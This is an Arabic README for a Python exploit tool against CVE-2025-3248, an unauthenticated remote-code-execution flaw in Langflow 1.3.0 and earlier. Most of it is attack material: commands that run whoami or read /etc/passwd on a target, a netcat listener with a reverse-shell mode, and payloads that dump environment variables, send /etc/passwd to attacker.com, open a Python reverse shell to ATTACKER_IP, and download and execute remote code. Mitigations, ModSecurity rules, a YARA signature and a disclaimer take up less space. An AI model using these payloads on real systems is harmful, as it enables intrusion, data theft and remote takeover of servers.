إطار استغلال شامل بلغة بايثون لاختبار وإظهار CVE-2025-3248، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد غير مصادق عليها في إصدارات Langflow ≤ 1.3.0.
إطار استغلال شامل بلغة Python لاختبار وإظهار CVE-2025-3248، وهي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بعد (RCE) غير المصادق عليها في إصدارات Langflow ≤ 1.3.0.
| الخاصية | القيمة |
|---|
| معرف CVE | CVE-2025-3248 |
| المنتج | Langflow |
| الإصدارات المتأثرة | ≤ 1.3.0 |
| نوع الثغرة | تنفيذ تعليمات برمجية عن بعد (RCE) غير مصادق عليه |
| ناقل الهجوم | الشبكة |
| المصادقة المطلوبة | لا شيء |
| درجة CVSS | 9.8 (حرجة) |
| درجة EPSS | 92.57% |
| CWE | CWE-94 (التحكم غير السليم في توليد الكود) |
| النقطة الطرفية المعرضة | /api/v1/validate/code |
توجد الثغرة في نقطة API النهائية /api/v1/validate/code، التي تقبل كود بايثون عشوائي وتتحقق منه باستخدام دالة exec() غير الآمنة في بايثون دون تعقيم مدخلات أو وضع قيود صارمة. تستغل الثغرة سلوك بايثون حيث:
المهاجم → POST /api/v1/validate/code → exec() في بايثون → RCE
↓
لا حاجة للمصادقة
↓
كود بايثون عشوائي
↓
تنفيذ أمر النظام
Python >= 3.7
requests >= 2.25.0
pip install requests
pip install colorama # For Windows color support
git clone https://github.com/drackyjr/cve-2025-3248-exploit.git
cd cve-2025-3248-exploit
pip install -r requirements.txt
chmod +x cve_2025_3248_test.py
python3 cve_2025_3248_test.py -t <target_url> [options]
python3 cve_2025_3248_test.py -t http://target.com
python3 cve_2025_3248_test.py -t http://target.com -c "whoami"
python3 cve_2025_3248_test.py -t http://target.com -c "cat /etc/passwd"
الخطوة 1: بدء مستمع netcat على جهازك
nc -lvnp 4444
الخطوة 2: تشغيل الأداة
python3 cve_2025_3248_test.py -t http://target.com --exploit --lhost YOUR_IP --lport 4444
مثال:
python3 cve_2025_3248_test.py -t http://192.168.1.100:7860 --exploit --lhost 192.168.1.50 --lport 4444
python3 cve_2025_3248_test.py -t http://target.com --timeout 30
وسائط موضعية:
لا شيء
وسائط اختيارية:
-t, --target TARGET عنوان URL للهدف (مثل http://target.com) [مطلوب]
-c, --command COMMAND الأمر المراد تنفيذه (الافتراضي: id)
--timeout TIMEOUT مهلة الطلب بالثواني (الافتراضي: 10)
--exploit تفعيل وضع الاستغلال (الشل العكسي)
--lhost LHOST عنوان IP الخاص بك للشل العكسي
--lport LPORT المنفذ الخاص بك للشل العكسي
-h, --help عرض رسالة المساعدة هذه
payload = {
"code": """
@exec("import os; os.system('whoami')")
def vulnerable_function():
pass
"""
}
payload = {
"code": """
def test(arg=exec("__import__('subprocess').check_output(['id'])")):
pass
"""
}
payload = {
"code": """
def test(x=exec("import requests; requests.post('http://attacker.com/exfil', data=open('/etc/passwd').read())")):
pass
"""
}
payload = {
"code": """
def shell(x=exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('ATTACKER_IP',4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(['/bin/sh','-i'])")):
pass
"""
}
payload = {
"code": """
def read_file(x=exec("print(open('/etc/passwd').read())")):
pass
"""
}
payload = {
"code": """
def enum_env(x=exec("import os; print('\\n'.join([f'{k}={v}' for k,v in os.environ.items()]))")):
pass
"""
}
payload = {
"code": """
def download_exec(x=exec("import urllib.request; exec(urllib.request.urlopen('http://attacker.com/payload.py').read())")):
pass
"""
}
ترقية Langflow
pip install langflow>=1.3.0
# or
docker pull langflow:latest
تقييد الوصول إلى الشبكة
# Nginx reverse proxy - حظر النقطة الطرفية المعرضة
location /api/v1/validate/code {
deny all;
}
تطبيق المصادقة
# إضافة وسيط مصادقة
@app.middleware("http")
async def auth_middleware(request, call_next):
if "/api/v1/validate/code" in request.url.path:
if not verify_auth(request):
return JSONResponse(status_code=401)
return await call_next(request)
قاعدة ModSecurity:
SecRule ARGS:code "@contains exec" "id:1001,phase:2,deny"
SecRule ARGS:code "@contains subprocess" "id:1002,phase:2,deny"
SecRule ARGS:code "@contains __import__" "id:1003,phase:2,deny"
SecRule ARGS:code "@contains os.system" "id:1004,phase:2,deny"
توقيع YARA:
rule CVE_2025_3248_Langflow_RCE {
strings:
$api_path = "/api/v1/validate/code"
$exec = "exec("
$subprocess = "subprocess"
$os_system = "os.system"
condition:
$api_path and any of ($exec, $subprocess, $os_system)
}
# مراقبة الطلبات المشبوهة
tail -f /var/log/nginx/access.log | grep "/api/v1/validate/code"
# تنبيه عند طلبات POST إلى النقطة الطرفية المعرضة
auditctl -w /var/lib/langflow -p wa -k langflow_changes
/api/v1/validate/code/tmpسلسلة الثغرة تعمل كما يلي:
# Attacker sends this payload:
POST /api/v1/validate/code HTTP/1.1
Content-Type: application/json
{
"code": "def func(x=exec('import os; os.system(\"whoami\")')): pass"
}
# Server processes it:
exec(code) # ← Dangerous! No sanitization
# During AST parsing, the default argument is evaluated:
# exec('import os; os.system("whoami")')
# Result: Arbitrary command execution
سلوك بايثون مع الزخارف أثناء تعريف الدالة:
# This code gets executed immediately:
@decorator_expression
def my_function():
pass
# Which means this payload executes the code:
@exec("malicious_code_here")
def vulnerable_function():
pass
| التاريخ | الحدث |
|---|---|
| 2025-04-06 | اكتشاف الثغرة والإبلاغ عنها لفريق Langflow |
| 2025-04-17 | إصدار استغلال عام (Exploit-DB) |
| 2025-05-14 | إصدار تنبيه تفشي من FortiguardLabs |
| 2025-05-21 | نشر تحليل Zscaler ThreatLabz |
| 2025-05-22 | إبلاغ RecordedFuture عن استغلال نشط |
| 2025-06-16 | إبلاغ TrendMicro عن استغلال بوت نت FLODRIC |
| 2025-06-17 | نشر تحليل شامل من OffSec |
| 2025-11-05 | إدخال قاعدة بيانات ثغرات SentinelOne |
| 2025-11-20 | ملاحظة استمرار محاولات الاستغلال |
عند إجراء اختبار أمني مصرح به:
المساهمات مرحب بها! يُرجى اتباع هذه الإرشادات:
git checkout -b feature/amazing-feature)git commit -m 'إضافة ميزة رائعة')git push origin feature/amazing-feature)إشعار قانوني هام:
هذه الأداة متوفرة لأغراض تعليمية واختبار أمني مصرح به فقط. الوصول غير المصرح به إلى أنظمة الكمبيوتر غير قانوني وينتهك قوانين تشمل:
المبتكرون والمساهمون لا يتحملون أي مسؤولية عن سوء استخدام هذه الأداة.
آخر تحديث: 21 نوفمبر 2025
╔═══════════════════════════════════════════════════════════╗
║ CVE-2025-3248: ماسح ثغرة Langflow RCE v1.0 ║
║ استخدم بمسؤولية - اختبارات مصرح بها فقط ║
╚═══════════════════════════════════════════════════════════╝